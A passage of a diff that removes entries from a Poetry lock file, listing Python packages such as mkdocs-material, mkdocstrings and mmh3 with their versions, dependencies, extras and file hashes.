"sha256:469d85eb3114801d08e9cc55d102b3ba65917a869b893403b8987b601cf55dc9"}, - {file = "mkdocs_autorefs-1.4.3.tar.gz", hash = "sha256:beee715b254455c4aa93b6ef3c67579c399ca092259cc41b7d9342573ff1fc75"}, -] - -[package.dependencies] -Markdown = ">=3.3" -markupsafe = ">=2.0.1" -mkdocs = ">=1.1" - -[[package]] -name = "mkdocs-extra-sass-plugin" -version = "0.1.0" -description = "This plugin adds stylesheets to your mkdocs site from `Sass`/`SCSS`." -optional = false -python-versions = ">=3.6" -groups = ["docs"] -files = [ - {file = "mkdocs-extra-sass-plugin-0.1.0.tar.gz", hash = "sha256:cca7ae778585514371b22a63bcd69373d77e474edab4b270cf2924e05c879219"}, - {file = "mkdocs_extra_sass_plugin-0.1.0-py3-none-any.whl", hash = "sha256:10aa086fa8ef1fc4650f7bb6927deb7bf5bbf5a2dd3178f47e4ef44546b156db"}, -] - -[package.dependencies] -beautifulsoup4 = ">=4.6.3" -libsass = ">=0.15" -mkdocs = ">=1.1" - -[[package]] -name = "mkdocs-get-deps" -version = "0.2.0" -description = "MkDocs extension that lists all dependencies according to a mkdocs.yml file" -optional = false -python-versions = ">=3.8" -groups = ["docs"] -files = [ - {file = "mkdocs_get_deps-0.2.0-py3-none-any.whl", hash = "sha256:2bf11d0b133e77a0dd036abeeb06dec8775e46efa526dc70667d8863eefc6134"}, - {file = "mkdocs_get_deps-0.2.0.tar.gz", hash = "sha256:162b3d129c7fad9b19abfdcb9c1458a651628e4b1dea628ac68790fb3061c60c"}, -] - -[package.dependencies] -mergedeep = ">=1.3.4" -platformdirs = ">=2.2.0" -pyyaml = ">=5.1" - -[[package]] -name = "mkdocs-material" -version = "9.7.1" -description = "Documentation that simply works" -optional = false -python-versions = ">=3.8" -groups = ["docs"] -files = [ - {file = "mkdocs_material-9.7.1-py3-none-any.whl", hash = "sha256:3f6100937d7d731f87f1e3e3b021c97f7239666b9ba1151ab476cabb96c60d5c"}, - {file = "mkdocs_material-9.7.1.tar.gz", hash = "sha256:89601b8f2c3e6c6ee0a918cc3566cb201d40bf37c3cd3c2067e26fadb8cce2b8"}, -] - -[package.dependencies] -babel = ">=2.10" -backrefs = ">=5.7.post1" -colorama = ">=0.4" -jinja2 = ">=3.1" -markdown = ">=3.2" -mkdocs = ">=1.6" -mkdocs-material-extensions = ">=1.3" -paginate = ">=0.5" -pygments = ">=2.16" -pymdown-extensions = ">=10.2" -requests = ">=2.30" - -[package.extras] -git = ["mkdocs-git-committers-plugin-2 (>=1.1,<3)", "mkdocs-git-revision-date-localized-plugin (>=1.2.4,<2.0)"] -imaging = ["cairosvg (>=2.6,<3.0)", "pillow (>=10.2,<12.0)"] -recommended = ["mkdocs-minify-plugin (>=0.7,<1.0)", "mkdocs-redirects (>=1.2,<2.0)", "mkdocs-rss-plugin (>=1.6,<2.0)"] - -[[package]] -name = "mkdocs-material-extensions" -version = "1.3.1" -description = "Extension pack for Python Markdown and MkDocs Material." -optional = false -python-versions = ">=3.8" -groups = ["docs"] -files = [ - {file = "mkdocs_material_extensions-1.3.1-py3-none-any.whl", hash = "sha256:adff8b62700b25cb77b53358dad940f3ef973dd6db797907c49e3c2ef3ab4e31"}, - {file = "mkdocs_material_extensions-1.3.1.tar.gz", hash = "sha256:10c9511cea88f568257f960358a467d12b970e1f7b2c0e5fb2bb48cab1928443"}, -] - -[[package]] -name = "mkdocstrings" -version = "0.30.1" -description = "Automatic documentation from sources, for MkDocs." -optional = false -python-versions = ">=3.9" -groups = ["docs"] -files = [ - {file = "mkdocstrings-0.30.1-py3-none-any.whl", hash = "sha256:41bd71f284ca4d44a668816193e4025c950b002252081e387433656ae9a70a82"}, - {file = "mkdocstrings-0.30.1.tar.gz", hash = "sha256:84a007aae9b707fb0aebfc9da23db4b26fc9ab562eb56e335e9ec480cb19744f"}, -] - -[package.dependencies] -Jinja2 = ">=2.11.1" -Markdown = ">=3.6" -MarkupSafe = ">=1.1" -mkdocs = ">=1.6" -mkdocs-autorefs = ">=1.4" -pymdown-extensions = ">=6.3" - -[package.extras] -crystal = ["mkdocstrings-crystal (>=0.3.4)"] -python = ["mkdocstrings-python (>=1.16.2)"] -python-legacy = ["mkdocstrings-python-legacy (>=0.2.1)"] - -[[package]] -name = "mkdocstrings-python" -version = "2.0.2" -description = "A Python handler for mkdocstrings." -optional = false -python-versions = ">=3.10" -groups = ["docs"] -files = [ - {file = "mkdocstrings_python-2.0.2-py3-none-any.whl", hash = "sha256:31241c0f43d85a69306d704d5725786015510ea3f3c4bdfdb5a5731d83cdc2b0"}, - {file = "mkdocstrings_python-2.0.2.tar.gz", hash = "sha256:4a32ccfc4b8d29639864698e81cfeb04137bce76bb9f3c251040f55d4b6e1ad8"}, -] - -[package.dependencies] -griffe = ">=1.13" -mkdocs-autorefs = ">=1.4" -mkdocstrings = ">=0.30" -typing-extensions = {version = ">=4.0", markers = "python_version < \"3.11\""} - -[[package]] -name = "mmh3" -version = "5.2.0" -description = "Python extension for MurmurHash (MurmurHash3), a set of fast and robust hash functions." -optional = false -python-versions = ">=3.9" -groups = ["main"] -files = [ - {file = "mmh3-5.2.0-cp310-cp310-macosx_10_9_universal2.whl", hash = "sha256:81c504ad11c588c8629536b032940f2a359dda3b6cbfd4ad8f74cb24dcd1b0bc"}, - {file = "mmh3-5.2.0-cp310-cp310-macosx_10_9_x86_64.whl", hash = "sha256:0b898cecff57442724a0f52bf42c2de42de63083a91008fb452887e372f9c328"}, - {file = "mmh3-5.2.0-cp310-cp310-macosx_11_0_arm64.whl", hash = "sha256:be1374df449465c9f2500e62eee73a39db62152a8bdfbe12ec5b5c1cd451344d"}, - {file = "mmh3-5.2.0-cp310-cp310-manylinux1_i686.manylinux_2_28_i686.manylinux_2_5_i686.whl", hash = "sha256:b0d753ad566c721faa33db7e2e0eddd74b224cdd3eaf8481d76c926603c7a00e"}, - {file = "mmh3-5.2.0-cp310-cp310-manylinux1_x86_64.manylinux_2_28_x86_64.manylinux_2_5_x86_64.whl", hash = "sha256:dfbead5575f6470c17e955b94f92d62a03dfc3d07f2e6f817d9b93dc211a1515"}, - {file = "mmh3-5.2.0-cp310-cp310-manylinux2014_aarch64.manylinux_2_17_aarch64.manylinux_2_28_aarch64.whl", hash = "sha256:7434a27754049144539d2099a6d2da5d88b8bdeedf935180bf42ad59b3607aa3"}, - {file = "mmh3-5.2.0-cp310-cp310-manylinux2014_ppc64le.manylinux_2_17_ppc64le.manylinux_2_28_ppc64le.whl", hash = "sha256:cadc16e8ea64b5d9a47363013e2bea469e121e6e7cb416a7593aeb24f2ad122e"}, - {file = "mmh3-5.2.0-cp310-cp310-manylinux2014_s390x.manylinux_2_17_s390x.manylinux_2_28_s390x.whl", hash = "sha256:d765058da196f68dc721116cab335e696e87e76720e6ef8ee5a24801af65e63d"}, - {file = "mmh3-5.2.0-cp310-cp310-musllinux_1_2_aarch64.whl", hash = "sha256:8b0c53fe0994beade1ad7c0f13bd6fec980a0664bfbe5a6a7d64500b9ab76772"}, - {file = "mmh3-5.2.0-cp310-cp310-musllinux_1_2_i686.whl", hash = "sha256:49037d417419863b222ae47ee562b2de9c3416add0a45c8d7f4e864be8dc4f89"}, - {file = "mmh3-5.2.0-cp310-cp310-musllinux_1_2_ppc64le.whl", hash = "sha256:6ecb4e750d712abde046858ee6992b65c93f1f71b397fce7975c3860c07365d2"}, - {file = "mmh3-5.2.0-cp310-cp310-musllinux_1_2_s390x.whl", hash = "sha256:382a6bb3f8c6532ea084e7acc5be6ae0c6effa529240836d59352398f002e3fc"}, - {file = "mmh3-5.2.0-cp310-cp310-musllinux_1_2_x86_64.whl", hash = "sha256:7733ec52296fc1ba22e9b90a245c821adbb943e98c91d8a330a2254612726106"}, - {file = "mmh3-5.2.0-cp310-cp310-win32.whl", hash = "sha256:127c95336f2a98c51e7682341ab7cb0be3adb9df0819ab8505a726ed1801876d"}, - {file = "mmh3-5.2.0-cp310-cp310-win_amd64.whl", hash = "sha256:419005f84ba1cab47a77465a2a843562dadadd6671b8758bf179d82a15ca63eb"}, - {file = "mmh3-5.2.0-cp310-cp310-win_arm64.whl", hash = "sha256:d22c9dcafed659fadc605538946c041722b6d1104fe619dbf5cc73b3c8a0ded8"}, - {file = "mmh3-5.2.0-cp311-cp311-macosx_10_9_universal2.whl", hash = "sha256:7901c893e704ee3c65f92d39b951f8f34ccf8e8566768c58103fb10e55afb8c1"}, - {file = "mmh3-5.2.0-cp311-cp311-macosx_10_9_x86_64.whl", hash = "sha256:4a5f5536b1cbfa72318ab3bfc8a8188b949260baed186b75f0abc75b95d8c051"}, - {file = "mmh3-5.2.0-cp311-cp311-macosx_11_0_arm64.whl", hash = "sha256:cedac4f4054b8f7859e5aed41aaa31ad03fce6851901a7fdc2af0275ac533c10"}, - {file = "mmh3-5.2.0-cp311-cp311-manylinux1_i686.manylinux_2_28_i686.manylinux_2_5_i686.whl", hash = "sha256:eb756caf8975882630ce4e9fbbeb9d3401242a72528230422c9ab3a0d278e60c"}, - {file = "mmh3-5.2.0-cp311-cp311-manylinux1_x86_64.manylinux_2_28_x86_64.manylinux_2_5_x86_64.whl", hash = "sha256:097e13c8b8a66c5753c6968b7640faefe85d8e38992703c1f666eda6ef4c3762"}, - {file = "mmh3-5.2.0-cp311-cp311-manylinux2014_aarch64.manylinux_2_17_aarch64.manylinux_2_28_aarch64.whl", hash = "sha256:a7c0c7845566b9686480e6a7e9044db4afb60038d5fabd19227443f0104eeee4"}, - {file = "mmh3-5.2.0-cp311-cp311-manylinux2014_ppc64le.manylinux_2_17_ppc64le.manylinux_2_28_ppc64le.whl", hash = "sha256:61ac226af521a572700f863d6ecddc6ece97220ce7174e311948ff8c8919a363"}, - {file = "mmh3-5.2.0-cp311-cp311-manylinux2014_s390x.manylinux_2_17_s390x.manylinux_2_28_s390x.whl", hash = "sha256:582f9dbeefe15c32a5fa528b79b088b599a1dfe290a4436351c6090f90ddebb8"}, - {file = "mmh3-5.2.0-cp311-cp311-musllinux_1_2_aarch64.whl", hash = "sha256:2ebfc46b39168ab1cd44670a32ea5489bcbc74a25795c61b6d888c5c2cf654ed"}, - {file = "mmh3-5.2.0-cp311-cp311-musllinux_1_2_i686.whl", hash = "sha256:1556e31e4bd0ac0c17eaf220be17a09c171d7396919c3794274cb3415a9d3646"}, - {file = "mmh3-5.2.0-cp311-cp311-musllinux_1_2_ppc64le.whl", hash = "sha256:81df0dae22cd0da87f1c978602750f33d17fb3d21fb0f326c89dc89834fea79b"}, - {file = "mmh3-5.2.0-cp311-cp311-musllinux_1_2_s390x.whl", hash = "sha256:eba01ec3bd4a49b9ac5ca2bc6a73ff5f3af53374b8556fcc2966dd2af9eb7779"}, - {file = "mmh3-5.2.0-cp311-cp311-musllinux_1_2_x86_64.whl", hash = "sha256:e9a011469b47b752e7d20de296bb34591cdfcbe76c99c2e863ceaa2aa61113d2"}, - {file = "mmh3-5.2.0-cp311-cp311-win32.whl", hash = "sha256:bc44fc2b886243d7c0d8daeb37864e16f232e5b56aaec27cc781d848264cfd28"}, - {file = "mmh3-5.2.0-cp311-cp311-win_amd64.whl", hash = "sha256:8ebf241072cf2777a492d0e09252f8cc2b3edd07dfdb9404b9757bffeb4f2cee"}, - {file = "mmh3-5.2.0-cp311-cp311-win_arm64.whl", hash = "sha256:b5f317a727bba0e633a12e71228bc6a4acb4f471a98b1c003163b917311ea9a9"}, - {file = "mmh3-5.2.0-cp312-cp312-macosx_10_13_universal2.whl", hash = "sha256:384eda9361a7bf83a85e09447e1feafe081034af9dd428893701b959230d84be"}, - {file = "mmh3-5.2.0-cp312-cp312-macosx_10_13_x86_64.whl", hash = "sha256:2c9da0d568569cc87315cb063486d761e38458b8ad513fedd3dc9263e1b81bcd"}, - {file = "mmh3-5.2.0-cp312-cp312-macosx_11_0_arm64.whl", hash = "sha256:86d1be5d63232e6eb93c50881aea55ff06eb86d8e08f9b5417c8c9b10db9db96"}, - {file = "mmh3-5.2.0-cp312-cp312-manylinux1_i686.manylinux_2_28_i686.manylinux_2_5_i686.whl", hash = "sha256:bf7bee43e17e81671c447e9c83499f53d99bf440bc6d9dc26a841e21acfbe094"}, - {file = "mmh3-5.2.0-cp312-cp312-manylinux1_x86_64.manylinux_2_28_x86_64.manylinux_2_5_x86_64.whl", hash = "sha256:7aa18cdb58983ee660c9c400b46272e14fa253c675ed963d3812487f8ca42037"}, - {file = "mmh3-5.2.0-cp312-cp312-manylinux2014_aarch64.manylinux_2_17_aarch64.manylinux_2_28_aarch64.whl", hash = "sha256:ae9d032488fcec32d22be6542d1a836f00247f40f320844dbb361393b5b22773"}, - {file = "mmh3-5.2.0-cp312-cp312-manylinux2014_ppc64le.manylinux_2_17_ppc64le.manylinux_2_28_ppc64le.whl", hash = "sha256:e1861fb6b1d0453ed7293200139c0a9011eeb1376632e048e3766945b13313c5"}, - {file = "mmh3-5.2.0-cp312-cp312-manylinux2014_s390x.manylinux_2_17_s390x.manylinux_2_28_s390x.whl", hash = "sha256:99bb6a4d809aa4e528ddfe2c85dd5239b78b9dd14be62cca0329db78505e7b50"}, - {file = "mmh3-5.2.0-cp312-cp312-musllinux_1_2_aarch64.whl", hash = "sha256:1f8d8b627799f4e2fcc7c034fed8f5f24dc7724ff52f69838a3d6d15f1ad4765"}, - {file = "mmh3-5.2.0-cp312-cp312-musllinux_1_2_i686.whl", hash = "sha256:b5995088dd7023d2d9f310a0c67de5a2b2e06a570ecfd00f9ff4ab94a67cde43"}, - {file = "mmh3-5.2.0-cp312-cp312-musllinux_1_2_ppc64le.whl", hash = "sha256:1a5f4d2e59d6bba8ef01b013c472741835ad961e7c28f50c82b27c57748744a4"}, - {file = "mmh3-5.2.0-cp312-cp312-musllinux_1_2_s390x.whl", hash = "sha256:fd6e6c3d90660d085f7e73710eab6f5545d4854b81b0135a3526e797009dbda3"}, - {file = "mmh3-5.2.0-cp312-cp312-musllinux_1_2_x86_64.whl", hash = "sha256:c4a2f3d83879e3de2eb8cbf562e71563a8ed15ee9b9c2e77ca5d9f73072ac15c"}, - {file = "mmh3-5.2.0-cp312-cp312-win32.whl", hash = "sha256:2421b9d665a0b1ad724ec7332fb5a98d075f50bc51a6ff854f3a1882bd650d49"}, - {file = "mmh3-5.2.0-cp312-cp312-win_amd64.whl", hash = "sha256:72d80005b7634a3a2220f81fbeb94775ebd12794623bb2e1451701ea732b4aa3"}, - {file = "mmh3-5.2.0-cp312-cp312-win_arm64.whl", hash = "sha256:3d6bfd9662a20c054bc216f861fa330c2dac7c81e7fb8307b5e32ab5b9b4d2e0"}, - {file = "mmh3-5.2.0-cp313-cp313-android_21_arm64_v8a.whl", hash = "sha256:e79c00eba78f7258e5b354eccd4d7907d60317ced924ea4a5f2e9d83f5453065"}, - {file = "mmh3-5.2.0-cp313-cp313-android_21_x86_64.whl", hash = "sha256:956127e663d05edbeec54df38885d943dfa27406594c411139690485128525de"}, - {file = "mmh3-5.2.0-cp313-cp313-ios_13_0_arm64_iphoneos.whl", hash = "sha256:c3dca4cb5b946ee91b3d6bb700d137b1cd85c20827f89fdf9c16258253489044"}, - {file = "mmh3-5.2.0-cp313-cp313-ios_13_0_arm64_iphonesimulator.whl", hash = "sha256:e651e17bfde5840e9e4174b01e9e080ce49277b70d424308b36a7969d0d1af73"}, - {file = "mmh3-5.2.0-cp313-cp313-ios_13_0_x86_64_iphonesimulator.whl", hash = "sha256:9f64bf06f4bf623325fda3a6d02d36cd69199b9ace99b04bb2d7fd9f89688504"}, - {file = "mmh3-5.2.0-cp313-cp313-macosx_10_13_universal2.whl", hash = "sha256:ddc63328889bcaee77b743309e5c7d2d52cee0d7d577837c91b6e7cc9e755e0b"}, - {file = "mmh3-5.2.0-cp313-cp313-macosx_10_13_x86_64.whl", hash = "sha256:bb0fdc451fb6d86d81ab8f23d881b8d6e37fc373a2deae1c02d27002d2ad7a05"}, - {file = "mmh3-5.2.0-cp313-cp313-macosx_11_0_arm64.whl", hash = "sha256:b29044e1ffdb84fe164d0a7ea05c7316afea93c00f8ed9449cf357c36fc4f814"}, - {file = "mmh3-5.2.0-cp313-cp313-manylinux1_i686.manylinux_2_28_i686.manylinux_2_5_i686.whl", hash = "sha256:58981d6ea9646dbbf9e59a30890cbf9f610df0e4a57dbfe09215116fd90b0093"}, - {file = "mmh3-5.2.0-cp313-cp313-manylinux1_x86_64.manylinux_2_28_x86_64.manylinux_2_5_x86_64.whl", hash = "sha256:7e5634565367b6d98dc4aa2983703526ef556b3688ba3065edb4b9b90ede1c54"}, - {file = "mmh3-5.2.0-cp313-cp313-manylinux2014_aarch64.manylinux_2_17_aarch64.manylinux_2_28_aarch64.whl", hash = "sha256:b0271ac12415afd3171ab9a3c7cbfc71dee2c68760a7dc9d05bf8ed6ddfa3a7a"}, - {file = "mmh3-5.2.0-cp313-cp313-manylinux2014_ppc64le.manylinux_2_17_ppc64le.manylinux_2_28_ppc64le.whl", hash = "sha256:45b590e31bc552c6f8e2150ff1ad0c28dd151e9f87589e7eaf508fbdd8e8e908"}, - {file = "mmh3-5.2.0-cp313-cp313-manylinux2014_s390x.manylinux_2_17_s390x.manylinux_2_28_s390x.whl", hash = "sha256:bdde97310d59604f2a9119322f61b31546748499a21b44f6715e8ced9308a6c5"}, - {file = "mmh3-5.2.0-cp313-cp313-musllinux_1_2_aarch64.whl", hash = "sha256:fc9c5f280438cf1c1a8f9abb87dc8ce9630a964120cfb5dd50d1e7ce79690c7a"}, - {file = "mmh3-5.2.0-cp313-cp313-musllinux_1_2_i686.whl", hash = "sha256:c903e71fd8debb35ad2a4184c1316b3cb22f64ce517b4e6747f25b0a34e41266"}, - {file = "mmh3-5.2.0-cp313-cp313-musllinux_1_2_ppc64le.whl", hash = "sha256:eed4bba7ff8a0d37106ba931ab03bdd3915fbb025bcf4e1f0aa02bc8114960c5"}, - {file = "mmh3-5.2.0-cp313-cp313-musllinux_1_2_s390x.whl", hash = "sha256:1fdb36b940e9261aff0b5177c5b74a36936b902f473180f6c15bde26143681a9"}, - {file = "mmh3-5.2.0-cp313-cp313-musllinux_1_2_x86_64.whl", hash = "sha256:7303aab41e97adcf010a09efd8f1403e719e59b7705d5e3cfed3dd7571589290"}, - {file = "mmh3-5.2.0-cp313-cp313-win32.whl", hash = "sha256:03e08c6ebaf666ec1e3d6ea657a2d363bb01effd1a9acfe41f9197decaef0051"}, - {file = "mmh3-5.2.0-cp313-cp313-win_amd64.whl", hash = "sha256:7fddccd4113e7b736706e17a239a696332360cbaddf25ae75b57ba1acce65081"}, - {file = "mmh3-5.2.0-cp313-cp313-win_arm64.whl", hash = "sha256:fa0c966ee727aad5406d516375593c5f058c766b21236ab8985693934bb5085b"}, - {file = "mmh3-5.2.0-cp314-cp314-ios_13_0_arm64_iphoneos.whl", hash = "sha256:e5015f0bb6eb50008bed2d4b1ce0f2a294698a926111e4bb202c0987b4f89078"}, - {file = "mmh3-5.2.0-cp314-cp314-ios_13_0_arm64_iphonesimulator.whl", hash = "sha256:e0f3ed828d709f5b82d8bfe14f8856120718ec4bd44a5b26102c3030a1e12501"}, - {file = "mmh3-5.2.0-cp314-cp314-ios_13_0_x86_64_iphonesimulator.whl", hash = "sha256:f35727c5118aba95f0397e18a1a5b8405425581bfe53e821f0fb444cbdc2bc9b"}, - {file = "mmh3-5.2.0-cp314-cp314-macosx_10_13_universal2.whl", hash = "sha256:3bc244802ccab5220008cb712ca1508cb6a12f0eb64ad62997156410579a1770"}, - {file = "mmh3-5.2.0-cp314-cp314-macosx_10_13_x86_64.whl", hash = "sha256:ff3d50dc3fe8a98059f99b445dfb62792b5d006c5e0b8f03c6de2813b8376110"}, - {file = "mmh3-5.2.0-cp314-cp314-macosx_11_0_arm64.whl", hash = "sha256:37a358cc881fe796e099c1db6ce07ff757f088827b4e8467ac52b7a7ffdca647"}, - {file = "mmh3-5.2.0-cp314-cp314-manylinux1_i686.manylinux_2_28_i686.manylinux_2_5_i686.whl", hash = "sha256:b9a87025121d1c448f24f27ff53a5fe7b6ef980574b4a4f11acaabe702420d63"}, - {file = "mmh3-5.2.0-cp314-cp314-manylinux1_x86_64.manylinux_2_28_x86_64.manylinux_2_5_x86_64.whl", hash = "sha256:1ba55d6ca32eeef8b2625e1e4bfc3b3db52bc63014bd7e5df8cc11bf2b036b12"}, - {file = "mmh3-5.2.0-cp314-cp314-manylinux2014_aarch64.manylinux_2_17_aarch64.manylinux_2_28_aarch64.whl", hash = "sha256:c9ff37ba9f15637e424c2ab57a1a590c52897c845b768e4e0a4958084ec87f22"}, - {file = "mmh3-5.2.0-cp314-cp314-manylinux2014_ppc64le.manylinux_2_17_ppc64le.manylinux_2_28_ppc64le.whl", hash = "sha256:a094319ec0db52a04af9fdc391b4d39a1bc72bc8424b47c4411afb05413a44b5"}, - {file = "mmh3-5.2.0-cp314-cp314-manylinux2014_s390x.manylinux_2_17_s390x.manylinux_2_28_s390x.whl", hash = "sha256:c5584061fd3da584659b13587f26c6cad25a096246a481636d64375d0c1f6c07"}, - {file = "mmh3-5.2.0-cp314-cp314-musllinux_1_2_aarch64.whl", hash = "sha256:ecbfc0437ddfdced5e7822d1ce4855c9c64f46819d0fdc4482c53f56c707b935"}, - {file = "mmh3-5.2.0-cp314-cp314-musllinux_1_2_i686.whl", hash = "sha256:7b986d506a8e8ea345791897ba5d8ba0d9d8820cd4fc3e52dbe6de19388de2e7"}, - {file = "mmh3-5.2.0-cp314-cp314-musllinux_1_2_ppc64le.whl", hash = "sha256:38d899a156549da8ef6a9f1d6f7ef231228d29f8f69bce2ee12f5fba6d6fd7c5"}, - {file = "mmh3-5.2.0-cp314-cp314-musllinux_1_2_s390x.whl", hash = "sha256:d86651fa45799530885ba4dab3d21144486ed15285e8784181a0ab37a4552384"}, - {file = "mmh3-5.2.0-cp314-cp314-musllinux_1_2_x86_64.whl", hash = "sha256:c463d7c1c4cfc9d751efeaadd936bbba07b5b0ed81a012b3a9f5a12f0872bd6e"}, - {file = "mmh3-5.2.0-cp314-cp314-win32.whl", hash = "sha256:bb4fe46bdc6104fbc28db7a6bacb115ee6368ff993366bbd8a2a7f0076e6f0c0"}, - {file = "mmh3-5.2.0-cp314-cp314-win_amd64.whl", hash = "sha256:7c7f0b342fd06044bedd0b6e72177ddc0076f54fd89ee239447f8b271d919d9b"}, - {file = "mmh3-5.2.0-cp314-cp314-win_arm64.whl", hash = "sha256:3193752fc05ea72366c2b63ff24b9a190f422e32d75fdeae71087c08fff26115"}, - {file = "mmh3-5.2.0-cp314-cp314t-macosx_10_13_universal2.whl", hash = "sha256:69fc339d7202bea69ef9bd7c39bfdf9fdabc8e6822a01eba62fb43233c1b3932"}, - {file = "mmh3-5.2.0-cp314-cp314t-macosx_10_13_x86_64.whl", hash = "sha256:12da42c0a55c9d86ab566395324213c319c73ecb0c239fad4726324212b9441c"}, - {file = "mmh3-5.2.0-cp314-cp314t-macosx_11_0_arm64.whl", hash = "sha256:f7f9034c7cf05ddfaac8d7a2e63a3c97a840d4615d0a0e65ba8bdf6f8576e3be"}, - {file = "mmh3-5.2.0-cp314-cp314t-manylinux1_i686.manylinux_2_28_i686.manylinux_2_5_i686.whl", hash = "sha256:11730eeb16dfcf9674fdea9bb6b8e6dd9b40813b7eb839bc35113649eef38aeb"}, - {file = "mmh3-5.2.0-cp314-cp314t-manylinux1_x86_64.manylinux_2_28_x86_64.manylinux_2_5_x86_64.whl", hash = "sha256:932a6eec1d2e2c3c9e630d10f7128d80e70e2d47fe6b8c7ea5e1afbd98733e65"}, - {file = "mmh3-5.2.0-cp314-cp314t-manylinux2014_aarch64.manylinux_2_17_aarch64.manylinux_2_28_aarch64.whl", hash = "sha256:3ca975c51c5028947bbcfc24966517aac06a01d6c921e30f7c5383c195f87991"}, - {file = "mmh3-5.2.0-cp314-cp314t-manylinux2014_ppc64le.manylinux_2_17_ppc64le.manylinux_2_28_ppc64le.whl", hash = "sha256:5b0b58215befe0f0e120b828f7645e97719bbba9f23b69e268ed0ac7adde8645"}, - {file = "mmh3-5.2.0-cp314-cp314t-manylinux2014_s390x.manylinux_2_17_s390x.manylinux_2_28_s390x.whl", hash = "sha256:29c2b9ce61886809d0492a274a5a53047742dea0f703f9c4d5d223c3ea6377d3"}, - {file = "mmh3-5.2.0-cp314-cp314t-musllinux_1_2_aarch64.whl", hash = "sha256:a367d4741ac0103f8198c82f429bccb9359f543ca542b06a51f4f0332e8de279"}, - {file = "mmh3-5.2.0-cp314-cp314t-musllinux_1_2_i686.whl", hash = "sha256:5a5dba98e514fb26241868f6eb90a7f7ca0e039aed779342965ce24ea32ba513"}, - {file = "mmh3-5.2.0-cp314-cp314t-musllinux_1_2_ppc64le.whl", hash = "sha256:941603bfd75a46023807511c1ac2f1b0f39cccc393c15039969806063b27e6db"}, - {file = "mmh3-5.2.0-cp314-cp314t-musllinux_1_2_s390x.whl", hash = "sha256:132dd943451a7c7546978863d2f5a64977928410782e1a87d583cb60eb89e667"}, - {file = "mmh3-5.2.0-cp314-cp314t-musllinux_1_2_x86_64.whl", hash = "sha256:f698733a8a494466432d611a8f0d1e026f5286dee051beea4b3c3146817e35d5"}, - {file = "mmh3-5.2.0-cp314-cp314t-win32.whl", hash = "sha256:6d541038b3fc360ec538fc116de87462627944765a6750308118f8b509a8eec7"}, - {file = "mmh3-5.2.0-cp314-cp314t-win_amd64.whl", hash = "sha256:e912b19cf2378f2967d0c08e86ff4c6c360129887f678e27e4dde970d21b3f4d"}, - {file = "mmh3-5.2.0-cp314-cp314t-win_arm64.whl", hash = "sha256:e7884931fe5e788163e7b3c511614130c2c59feffdc21112290a194487efb2e9"}, - {file = "mmh3-5.2.0-cp39-cp39-macosx_10_9_universal2.whl", hash = "sha256:3c6041fd9d5fb5fcac57d5c80f521a36b74aea06b8566431c63e4ffc49aced51"}, - {file = "mmh3-5.2.0-cp39-cp39-macosx_10_9_x86_64.whl", hash = "sha256:58477cf9ef16664d1ce2b038f87d2dc96d70fe50733a34a7f07da6c9a5e3538c"}, - {file = "mmh3-5.2.0-cp39-cp39-macosx_11_0_arm64.whl", hash = "sha256:be7d3dca9358e01dab1bad881fb2b4e8730cec58d36dd44482bc068bfcd3bc65"}, - {file = "mmh3-5.2.0-cp39-cp39-manylinux1_i686.manylinux_2_28_i686.manylinux_2_5_i686.whl", hash = "sha256:931d47e08c9c8a67bf75d82f0ada8399eac18b03388818b62bfa42882d571d72"}, - {file = "mmh3-5.2.0-cp39-cp39-manylinux1_x86_64.manylinux_2_28_x86_64.manylinux_2_5_x86_64.whl", hash = "sha256:dd966df3489ec13848d6c6303429bbace94a153f43d1ae2a55115fd36fd5ca5d"}, - {file = "mmh3-5.2.0-cp39-cp39-manylinux2014_aarch64.manylinux_2_17_aarch64.manylinux_2_28_aarch64.whl", hash = "sha256:c677d78887244bf3095020b73c42b505b700f801c690f8eaa90ad12d3179612f"}, - {file = "mmh3-5.2.0-cp39-cp39-manylinux2014_ppc64le.manylinux_2_17_ppc64le.manylinux_2_28_ppc64le.whl", hash = "sha256:63830f846797187c5d3e2dae50f0848fdc86032f5bfdc58ae352f02f857e9025"}, - {file = "mmh3-5.2.0-cp39-cp39-manylinux2014_s390x.manylinux_2_17_s390x.manylinux_2_28_s390x.whl", hash = "sha256:c3f563e8901960e2eaa64c8e8821895818acabeb41c96f2efbb936f65dbe486c"}, - {file = "mmh3-5.2.0-cp39-cp39-musllinux_1_2_aarch64.whl", hash = "sha256:96f1e1ac44cbb42bcc406e509f70c9af42c594e72ccc7b1257f97554204445f0"}, - {file = "mmh3-5.2.0-cp39-cp39-musllinux_1_2_i686.whl", hash = "sha256:7bbb0df897944b5ec830f3ad883e32c5a7375370a521565f5fe24443bfb2c4f7"}, - {file = "mmh3-5.2.0-cp39-cp39-musllinux_1_2_ppc64le.whl", hash = "sha256:1fae471339ae1b9c641f19cf46dfe6ffd7f64b1fba7c4333b99fa3dd7f21ae0a"}, - {file = "mmh3-5.2.0-cp39-cp39-musllinux_1_2_s390x.whl", hash = "sha256:aa6e5d31fdc5ed9e3e95f9873508615a778fe9b523d52c17fc770a3eb39ab6e4"}, - {file = "mmh3-5.2.0-cp39-cp39-musllinux_1_2_x86_64.whl", hash = "sha256:746a5ee71c6d1103d9b560fa147881b5e68fd35da56e54e03d5acefad0e7c055"}, - {file = "mmh3-5.2.0-cp39-cp39-win32.whl", hash = "sha256:10983c10f5c77683bd845751905ba535ec47409874acc759d5ce3ff7ef34398a"}, - {file = "mmh3-5.2.0-cp39-cp39-win_amd64.whl", hash = "sha256:fdfd3fb739f4e22746e13ad7ba0c6eedf5f454b18d11249724a388868e308ee4"}, - {file = "mmh3-5.2.0-cp39-cp39-win_arm64.whl", hash = "sha256:33576136c06b46a7046b6d83a3d75fbca7d25f84cec743f1ae156362608dc6d2"}, - {file = "mmh3-5.2.0.tar.gz", hash = "sha256:1efc8fec8478e9243a78bb993422cf79f8ff85cb4cf6b79647480a31e0d950a8"}, -] - -[package.extras] -benchmark = ["pymmh3 (==0.0.5)", "pyperf (==2.9.0)", "xxhash (==3.5.0)"] -docs = ["myst-parser (==4.0.1)", "shibuya (==2025.7.24)", "sphinx (==8.2.3)", "sphinx-copybutton (==0.5.2)"] -lint = ["black (==25.1.0)", "clang-format (==20.1.8)", "isort (==6.0.1)", "pylint (==3.3.7)"] -plot = ["matplotlib (==3.10.3)", "pandas (==2.3.1)"] -test = ["pytest (==8.4.1)", "pytest-sugar (==1.0.0)"] -type = ["mypy (==1.17.0)"] - -[[package]] -name = "nodeenv" -version = "1.10.0" -description = "Node.js virtual environment builder" -optional = false -python-versions = "!=3.0.*,!=3.1.*,!=3.2.*,!=3.3.*,!=3.4.*,!=3.5.*,!=3.6.*,>=2.7" -groups = ["dev"] -files = 